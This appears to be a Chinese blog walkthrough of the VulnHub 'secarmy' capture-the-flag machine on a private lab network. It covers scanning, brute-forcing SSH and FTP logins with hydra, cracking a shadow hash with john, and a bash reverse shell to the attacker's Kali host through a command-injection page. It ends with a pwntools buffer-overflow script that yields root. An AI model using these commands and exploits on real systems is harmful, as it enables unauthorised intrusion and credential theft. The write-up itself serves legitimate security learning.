当前位置: 首页 > news >正文

vulnhub靶场——secarmy

靶机:secarmy靶机,IP地址为192.168.230.18

攻击:kali,IP地址为192.168.230.134

靶机和攻击机都采用VMware虚拟机,都采用NAT模式


端口扫描:

nmap 192.168.230.18 -O -A -p- --reason -sV

21/tcp (ftp): 开放的FTP服务,运行的是vsftpd 2.0.8或更新版本。并且允许匿名登录。

22/tcp (ssh): 开放的SSH服务,使用OpenSSH 7.6p1 Ubuntu 4ubuntu0.3版本。提供了RSA、ECDSA和ED25519三种类型的公钥指纹。

80/tcp (http): 开放的HTTP服务,使用Apache httpd 2.4.29版本。网站标题为“Totally Secure Website”,暗示可能是一个测试环境或者故意设置的不安全示例。

1337/tcp: 这个端口开放的服务未能被准确识别(标记为waste?),但是从返回的数据中可以推测出它可能是某种密码恢复设施接口。尝试与之交互时,它要求提供一个“超级秘密令牌”才能继续。


FTP信息探测:

先匿名登录ftp,无密码直接Enter回车就行:

ftp anonymous@192.168.230.18

anonymous是匿名方式登录

pwd

ls -la

发现没有任何目录和文件,无结果


80端口探测:

提到了80端口开放的HTTP服务,先进入网站看看:

http://192.168.230.18


使用whatweb识别网站配置:

whatweb http://192.168.230.18 -v


用dirsearch扫不出来隐藏目录,换成gobuster,查找隐藏的php、html、txt、zip文件:

gobuster dir -u http://192.168.230.18 -w /home/kali/Desktop/test/dic/directory-list-2.3-big.txt -x php,html,txt,zip

字典太大了,不用跑完也行,但能看出有个/anon目录


访问http://192.168.230.18/anon

查看源代码:

得到uno:luc10r4m0n


将这一组凭证保存下来,放置在文件test.txt中,使用hydra进行验证这一组凭证,因为有先前的两个端口21/ftp和22/ssh

hydra -C test.txt 192.168.230.18 ftp

hydra -C test.txt 192.168.230.18 ssh

可以看到ftp服务和ssh服务都能登录


FTP登录:

ftp uno@192.168.230.18

看到有个flag1.txt和readme.txt,先下载下来

get flag1.txt

get readme.txt

得知:

flag1{fb9e88}

要获取第二个用户名,密码已经知道是4b3l4rd0fru705


用户名爆破:

使用ssh服务:

ssh uno@192.168.230.18


查看当前系统有什么用户:

ls -l /home

cat /etc/passwd | grep /bin/bash


打印出有执行权限的用户名:

cat /etc/passwd | grep /bin/bash | awk -F':x' '{print $1}'

另存为users.txt文件,并继续爆破

hydra -L users.txt -p 4b3l4rd0fru705 192.168.230.18 ssh

得知第二个用户是dos:4b3l4rd0fru705


grep妙用与编码处理:

用第二个用户进行ssh登录:

ssh dos@192.168.230.18

ls -la

cat readme.txt


使用grep -l命令在files文件夹里查找字符串:

(grep -l是只返回文件名,不返回其他)

grep -l "a8211ac1853a1235d48829414626512a" files/*

cat files/file4444.txt后看到文件末尾有提示“Look inside file3131.txt”

cd files

cat file3131.txt


放随波逐流和赛博厨师里看看:

发现是个zip文件而且经过base64编码


将其输出成1.zip,并解压:

echo '***' | base64 -d > 1.zip

unzip 1.zip

得知:

flag2{624a21}

secret token:

c8e6afe38c2ae9a0283ecfb4e1b7c10f7d96e54c39e727d0e5515ba24a4d1f1b

提到WASTE和token,一般都是nc连接才用得到(之前做过中科大hackergame2024时遇到过需要输入token),而且对应上先前的1337/waste,下一步应该就是nc连接了


1337端口测试:

nc连接输入token:

nc 192.168.230.18 1337

显示第三个用户是tres:r4f43l71n4j3r0


继续ssh连接:

ssh tres@192.168.230.18

得知:

flag3{ac66cf}

看来下一步就是需要逆向secarmy-village文件了


strings查看与UPX解壳:

先将secarmy-village下载下来:

scp tres@192.168.230.18:/home/tres/secarmy-village /home/kali/Desktop/test/dic/


查壳发现有个UPX壳:

upx -d E:\downloads\secarmy-village

成功脱除UPX壳


再上传脱壳后的secarmy-village文件,用strings查看:

strings secarmy-village | grep user

(根据先前的经验一般都是有user等关键词)

得知用户名及密码:

cuatro:p3dr00l1v4r3z


继续ssh连接:

ssh cuatro@192.168.230.18

得知:

flag4{1d6b06}

访问/justanothergallery路径来查看这些图片


二维码批量解析:

访问http://192.168.230.18/justanothergallery

发现是一堆二维码图片


先下载全部的二维码:

wget -r -A.png http://192.168.230.18/justanothergallery

-r:递归地下载网页

-A:指定.png文件下载


压缩为qr.zip文件,并下载到本机上:

tar zcvf qr.zip qr


再用QR_Research来一个个扫码:

最后在image-53.png扫出用户名和密码:cinco:ruy70m35


继续ssh连接:

ssh cinco@192.168.230.18

得知:

flag5{b1e870}

寻找Cinco用户的秘密空间,在主目录之外


hash暴力破解:

查找所有属于用户cinco的文件或目录:

find / -user cinco 2>/dev/null

找到关键词“secret”,进入该目录,赋予shadow.bak权限并查看该文件内容:

ROCKYOU?有点懵,先看到一串特别长的字符串:

seis:$6$MCzqLn0Z2KB3X3TM$opQCwc/JkRGzfOg/WTve8X/zSQLwVf98I.RisZCFo0mTQzpvc5zqm/0OJ5k.PITcFJBnsn7Nu2qeFP8zkBwx7.:18532:0:99999:7:::

问问AI,发现是用户seis的加密密码


先将shadow.bak文件下载下来:

scp cinco@192.168.230.18:/cincos-secrets/shadow.bak /home/kali

经了解有个rockyou.txt的字典文件,可以用join来配合进行爆破:

john --wordlist=rockyou.txt shadow.bak

爆出来用户名及密码:

seis:Hogwarts


继续ssh连接:

ssh seis@192.168.230.18

得知:

flag6{779a25}


常见的网站路径及命令执行漏洞:

访问网页,发现是个Shell CMS:

http://192.168.230.18/shellcmsdashboard

先用dirsearch扫描一下,扫出来有个robots.txt文件:

dirsearch -u "http://192.168.230.18/shellcmsdashboard" -e*

访问之后看到直接给出用户名及密码admin/qwerty:

登录之后提示去访问/aabbzzee.php:


访问后发现有个输入框:

能够执行ls命令,但想要执行cat readme9213.txt时却没有反应:

接下来可以直接burp爆破一下哪些命令可以执行,但按照经验先进行一下bash反弹shell:

nc -lvvp 9999

bash -c "bash -i >& /dev/tcp/192.168.230.134/9999 0>&1"

得知第七个用户的密码是6u1l3rm0p3n473,但是不知道用户名是什么


根据先前的经验,继续用hydra爆破:

hydra -L users.txt -p 6u1l3rm0p3n473 192.168.230.18 ssh

爆出用户名及密码:

siete:6u1l3rm0p3n473


base系列的位运算:

继续ssh连接:

ssh siete@192.168.230.18

得知flag和一堆文件:

flag7{d5c26a}


直接将所有东西下载下来再看:

ftp siete@192.168.230.18

mget *

password.zip需要解压密码

根据hint.txt的提示,Base 10和Base 256进行某种运算结果是Base 265,这里应该是提示进行位运算

根据message.txt的内容,应该是原始数据

根据key.txt的内容,应该是与x进行位运算

不是很懂,还是让AI来分析一下:

def decrypt_message():# 从message.txt获取的数字序列numbers = [11, 29, 27, 25, 10, 21, 1, 0, 23, 10, 17, 12, 13, 8]# 从key.txt获取的密钥key = ord('x')# 将数字转换为字节并应用XOR解密decrypted = bytes([n ^ key for n in numbers])# 输出解密结果print(f"解密后的密码: {decrypted.decode('utf-8')}")if __name__ == "__main__":decrypt_message()

得知解压密码是:secarmyxoritup


unzip password.zip,成功解压password.zip文件得到password.txt文件:

得知下一个用户的密码是m0d3570v1ll454n4


继续用hydra爆破:

hydra -L users.txt -p m0d3570v1ll454n4 192.168.230.18 ssh

爆出用户ocho:m0d3570v1ll454n4


流量包分析与键盘密码:

继续ssh连接:

ssh ocho@192.168.230.18

得知:

flag8{5bcf53}

将keyboard.pcapng下载下来:

scp ocho@192.168.230.18:/home/ocho/keyboard.pcapng /home/kali/Desktop/test/dic/


wireshark打开,http.request.method==GET,发现none.txt出现多次,追踪http流:

报文内容太长了,让AI分析一下可疑的地方:

直接找出来了:"mjwfr?2b6j3a5fx/"


去keyboard网站解密:https://www.dcode.fr/keyboard-shift-cipher

解出用户名及密码:

nueve:355u4z4rc0


继续ssh连接:

ssh nueve@192.168.230.18

得知:

flag9{689d3e}


应该是要通过orangutan来进行提权?用strings分析一下,发现关键词:

看来是CTF里的pwn啊,先下载下来

ftp nueve@192.168.230.18

get orangutan


检查附件的保护方式,发现是64位程序,开启了NX保护:

checksec orangutan


用IDA打开,shift+F12发现“/bin/sh”:

到这里不会了,pwn不熟悉,直接看国外的WP了

from pwn import *
offset = b"A" * 24
secret = b"\xbe\xba\xfe\xca"
payload = offset + secret
conn = remote('192.168.230.18',8000)
print(conn.recvline())
print(conn.recvline())
conn.sendline(payload)
conn.interactive()

先在靶机运行:socat TCP-LISTEN:8000,fork EXEC:./orangutan

再在kali上运行:python test.py

cd /root

ls -la

cat root.txt

得知:

flag10{33c9661bfd}


总结:

flag1{fb9e88}

flag2{624a21}

flag3{ac66cf}

flag4{1d6b06}

flag5{b1e870}

flag6{779a25}

flag7{d5c26a}

flag8{5bcf53}

flag9{689d3e}

flag10{33c9661bfd}

相关文章:

  • Python知识框架
  • SSH秘钥配置介绍
  • 44、私有程序集与共享程序集有什么区别?
  • 怎么实现Redis的高可用?
  • GraphPad Prism简介、安装与工作界面
  • 【CUDA】Sgemm单精度矩阵乘法(下)
  • 使用mermaid 语言绘画时序图和链路图
  • 编程日志5.5
  • 计算机网络:怎么理解调制解调器的数字调制技术?
  • SDIO EMMC中ADMA和SDMA简介
  • Ansible Roles 是一种用于层次化和结构化组织 Ansible Playbook 的机制。
  • [已解决] VS Code / Cursor / Trae 的 PowerShell 终端 conda activate 进不去环境的常见问题
  • Windows 环境下安装 Node 和 npm
  • 【Pandas】pandas DataFrame describe
  • Java 大视界 -- 基于 Java 的大数据分布式存储在工业互联网海量设备数据长期存储中的应用优化(248)
  • vscode - 笔记
  • 采用均线策略来跟踪和投资基金
  • x-IMU matlab zupt惯性室内定位算法
  • 南审计院考研分享会 经验总结
  • springboot踩坑记录
  • 国新办将就2025年4月份国民经济运行情况举行新闻发布会
  • 首个偏头痛急性治疗药物可缓解前期症状
  • 寒武纪陈天石:公司的产品力获得了行业客户广泛认可,市场有望迎来新增量需求
  • 澎湃思想周报|欧洲胜利日之思;教育监控与学生隐私权争议
  • 2025年上海好护士揭晓,上海护士五年增近两成达12.31万人
  • 文学花边|对话《借命而生》原著作者石一枫:我给剧打90分